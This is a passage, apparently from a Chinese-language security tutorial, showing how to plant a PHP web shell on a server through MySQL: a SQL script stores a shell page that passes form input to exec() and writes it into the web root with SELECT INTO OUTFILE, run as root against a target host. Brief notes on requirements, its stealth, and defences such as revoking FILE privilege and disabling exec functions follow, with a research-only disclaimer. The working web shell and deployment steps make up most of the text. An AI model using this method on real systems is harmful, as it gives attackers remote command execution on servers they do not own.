PHP.sql)USE test;
CREATE TABLE tmp (cmd TEXT);
INSERT INTO tmp VALUES ('<body onload=document.form1.cmd.focus()><?if(isset($cmd)){$cmd=stripslashes($cmd);exec("$cmd > temp.dat");}?><style>.form1{...}</style><form name="form1" method="post" action="/cmd2.php"><input type="text" name="cmd" size="50" class="form1"></form><form name="form2" method="post"><textarea name="text" cols="120" rows="50" class="form1"><?if(isset($cmd)){readfile("temp.dat");unlink("temp.dat");}?></textarea></form></body>');
SELECT * FROM tmp INTO OUTFILE 'd:\\new\\cmd2.php';
DROP TABLE tmp;
C:\mysql\bin> mysql -h target_ip -u root < PHP.sqlhttps://target_ip/cmd2.php,輸入命令即可執行(Guest 權限)。SELECT ... INTO OUTFILE 需要 FILE 權限(Root 默認擁有)。cmd2.php 不得預先存在,否則導出失敗。exec() 執行命令並回顯,極其隱蔽。bind-address=127.0.0.1)。.bak 導致源碼洩露)。FILE 權限。safe_mode / disable_functions=exec,shell_exec,system,passthru。INTO OUTFILE 與 Web Shell 特徵。本文僅供安全研究與防禦參考,嚴禁用於非授權測試。